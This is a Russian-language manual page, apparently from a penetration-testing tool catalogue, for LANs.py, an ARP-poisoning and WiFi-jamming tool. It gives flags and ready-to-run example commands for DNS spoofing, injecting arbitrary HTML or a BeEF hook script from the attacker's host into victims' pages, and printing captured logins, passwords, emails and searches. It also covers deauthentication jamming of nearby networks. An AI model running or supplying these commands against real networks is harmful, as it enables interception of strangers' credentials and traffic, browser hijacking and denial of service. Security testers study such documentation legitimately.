LANs
Описание LANs
LANs делает впрыск кода, глушит wifi и шпионит за wifi пользователями. Программа автоматически находит самых активных пользователей WLAN, затем шпионит за ним и/или вставляет произвольные HTML/JS в страницы, которые они посетили.
Индивидуально травит таблицы ARP целевой машины, роутера и, при необходимости, DNS сервера. Не травит кого-либо ещё в сети. Отображает самые интересные куски трафика и может делать вставку пользовательского html в страницы, который они посетили. После окончания работы проводит очистку.
Также может использоваться для постоянного глушения расположенных рядом WiFi сетей. Примерный радиус действия – 1 квартал, но сильно зависит от мощности вашей WiFi карты. Есть много настроек, которые позволяют глушить всех подряд или только одного клиента. Не может одновременно глушить WiFi и шпионить.
Зависимости: Linux, python-scapy, python-nfqueue (nfqueue-bindings 0.4-3), aircrack-ng, python-twisted, BeEF (опционально), nmap, nbtscan, tcpdump и совместимая с неразборчивым режимом беспроводная карта если вы не знаете IP вашей цели.
Домашняя страница: https://github.com/DanMcInerney/LANs.py
Автор: Dan McInerney
Лицензия: GPLv3
Справка по LANs
Python LANs.py [-h] [-b BEEF] [-c CODE] [-u] [-ip IP_АДРЕС] [-vmac VICTIMMAC] [-d] [-v] [-dns DNSSPOOF] [-a] [-set] [-p] [-na] [-n] [-i ИНТЕРФЕЙС] [-r ПЕРЕНАПРАВЛЯТЬ_В] [-rip IP_РОУТЕРА] [-rmac MAC_РОУТЕРА] [-pcap PCAP] [-s SKIP] [-ch КАНАЛ] [-m МАКСИМУМ] [-no] [-t ИНТЕРВАЛ_ВРЕМЕНИ] [--packets ПАКЕТЫ] [--directedonly] [--accesspoint ТОЧКА_ДОСТУПА]
Нормальное использование:
- -b BEEF_HOOK_URL: копировать URL крюка BeEF для вставки в каждую страницу, которую посетит жертва, например: -b http://192.168.1.10:3000/hook.js
- -c 'HTML CODE': вставка произвольного HTML кода в страницы, которые посетит жертва; код HTML поместите в одиночные кавычки
- -d: открыть xterm с программой driftnet для просмотра всех изображений, который видят пользователи
- -dns ДОМЕН: спуфить (подменять) DNS ДОМЕНа. например -dns facebook.com будет делать DNS спуфинг каждого DNS запроса о facebook.com или subdomain.facebook.com
- -a: Спуфить каждый DNS запрос, который делает жертва, фактически запирая на странице портала; вместе с этой должна использоваться опция -r
- -r IP_АДРЕС: используется только с опцией -dns ДОМЕН; переправляет пользователя на этот IP_АДРЕС когда тот посещает ДОМЕН
- -u: печатает посещённые URL; обрезает до 150 символов и фильтрует url изображений/css/js/woff/svg, поскольку они загромождают вывод и неинтересны
- -i ИНТЕРФЕЙС: указать интерфейс; по умолчанию это первый интерфейс в ip route, например: -i wlan0
- -ip: нацелиться на этот IP
- -n: выполнить быстрое сканирование цели с помощью nmap
- -na: выполнить агрессивное nmap сканирование в фоне и вывести в [IP адрес жертвы].nmap.txt
- -p: печатать имя/пароли для сделанных FTP/IMAP/POP/IRC/HTTP, HTTP POST, всех сделанных поисков, входящих/исходящих писем и IRC messages sent/received
- -pcap PCAP_FILE: парсить все пакеты в файле pcap file; требуется аргумент -ip [IP адрес цели]
- -rmac MAC_РОУТЕРА: введите здесь MAC адрес роутера если у вас проблемы с автоматическим его определением скриптом
- -rip IP_РОУТЕРА: введите здесь IP роутера, если у вас проблемы при автоматическом его определении скриптом
- -v: показать URL в вербальном режиме, что означает не обрезать их до 150 символов как при -u
- --jam: глушить все или некоторые беспроводные точки 2.4GHz и клиентов в пределах досягаемости; если необходимо, то вместе с этим используйте аргументы ниже
Глушилка Wifi:
- -s MAC_адрес_для_пропуска: Задать MAC для исключения из деаутентификации. Пример: -s 00:11:BB:33:44:AA
- -ch КАНАЛ: Ограничить wifijammer одним каналом
- -m МАКСИМУМ: Максимальное число клиентов для деаутентификации. Используйте при передвижении для предотвращения деаутентификации клентов/ТД за пределами текущего диапазона.
- -no: Не очищать список деаутентификации, когда достигнуто максимальное (-m) количество комбинаций клиентов/ТД. Нужно использовать вместе с -m. Пример: -m 10 -n
- -t ИНТЕРВАЛ_ВРЕМЕНИ: Время между каждым пакетом деаутентификации. По умолчанию – максимум. Если вы видите ошибки scapy вроде 'no buffer space' попробуйте: -t .00001
- --packets ЧИСЛО: Количество пакетов для отправки за один приём деаутентификации. По умолчанию это 1 пакет.
- --directedonly: Не отправлять пакеты деаутентификации на широковещательные адреса ТД, а только отправлять их парам клиент/ТД
- --accesspoint ROUTER_MAC: Введите MAC адрес конкретной ТД для в качестве цели.
Руководство по LANs
Страница man отсутствует.
Очистка
При получении Ctrl-C:
- Отключает IP форвардинг
- Очищает файервол iptables
- Индивидуально восстанавливает маршрутизатор и таблицы ARP жертвы
Примеры запуска LANs
Протестировано на Kali. В следующих примерах атакующей машиной будет 192.168.0.5, а 192.168.0.10 будет жертвой.
Популярное использование:
python LANs.py -u -p
Активное обнаружение цели для ARP спуфинга и вывода всех интересных не-HTTPS данных, которые они отправляют или запрашивают. Поскольку нет опции -ip, то будет сделано ARP сканирование сети, сравнение его с живым неразборчивым захватом и составлен список всех клиентов сети. Пробует присвоить тэг целям по Windows именам netbios и печатает, как много пакетов данных они отправляют/получают. Возможность захватывать пакеты с данными, которые они отправляют, очень зависит от физической близости и мощности вашей сетевой карты. Нажмите Ctrl-C, когда вы готовы и выбрали цель, которую будете ARP спуфить.
Поддерживается перехват и сбор данных из следующих протоколов: HTTP, FTP, IMAP, POP3, IRC. Напечатает первые 135 символов URL и проигнорирует URL, оканчивающиеся на .jpg, .jpeg, .gif, .css, .ico, .js, .svg и .woff. Также напечатает для всех протоколов введённые имена/пароли, сделанные поиски на любом сайте, отправленные/полученные имейлы и отправленные/полученные сообщения IRC.
Запуск LANs.py без аргументов даст вам список активных целей, а при выборе одной из них, программа будет работать как простой ARP спуфер.
Ещё пример популярного использования:
python LANs.py -u -p -d -ip 192.168.0.10
- -d: открыть xterm с driftnet для просмотра всех изображений, которые видят на атакуемых машинах
- -ip: IP адрес цели и пропуск активного выбора цели в начале
HTML инъекция:
python LANs.py -b http://192.168.0.5:3000/hook.js
Вставка URL ловушки BeEF в страницы, которые посещает жертва. Это просто оборачивает аргумент в тэг <script>, поэтому вы можете ввести любой адрес файла JavaScript. Пробует вставить это после первого найденного тэга в HTML страницы.
python LANs.py -c '<title>Owned.</title>'
Вставка произвольного HTML в страницы, которая посещает жертва. Сперва пробует вставить это после первого тэга <head>, если не получается, вставляет перед первым тэгом </head>. Этот пример изменит заголовок страницы на 'Owned.'
Считать из pcap:
python LANs.py -pcap libpcapfilename -ip 192.168.0.10
Для чтения из файла pcap вы должны включить IP адрес цели с опцией -ip. Файл также должен быть в формате libpcap, который всё равно является самым популярным. Одним из преимуществ чтения из pcap файла является то, что вам необязательно быть рутом для выполнения скрипта.
DNS spoofing
python LANs.py -a -r 80.87.128.67 python LANs.py -dns eff.org
Пример 1: Опция -a будет спуфить каждый отдельны DNS запрос, который жертва делает, а когда используется вместе с -r, программа будет перенаправлять его на адрес, указанный при аргументе -r. Жертва будет перенаправлена на stallman.org (80.87.128.67) не зависимо от того, что в её строке браузера.
Пример 2: Здесь будет спуфиться домен eff.org и поддомены eff.org. Если аргумент -r отсутствует, но присутствуют аргументы -a или -dns, по умолчанию скрипт будет отправлять жертве IP атакующего. Если жертва пытается перейти на eff.org, то она будет перенаправлена на IP атакующего.
Более агрессивное использование:
python LANs.py -v -d -p -n -na -set -a -r 80.87.128.67 -c '<title>Owned.</title>' -b http://192.168.0.5:3000/hook.js -ip 192.168.0.10
Глушение WiFi сетей:
python LANs.py --jam
Глушить только одну точку доступа (роутер)
python Lans.py --jam --accesspoint 01:MA:C0:AD:DY
Установка LANs
Установка в Kali Linux
sudo apt install -y python-nfqueue python-scapy python-twisted nbtscan git clone https://github.com/DanMcInerney/LANs.py.git cd LANs.py/
Установка в BlackArch
Программа предустановлена в BlackArch.
Информация об установке в другие операционные системы будет добавлена позже.
Скриншоты LANs
Инструкции по LANs
- Выборочное глушение Wi-Fi сетей и клиентов (DoS атака на отдельные точки доступа/клиентов)
- Подборка совместимых с Kali Linux Wi-Fi адаптеров на 2017
Comments are Closed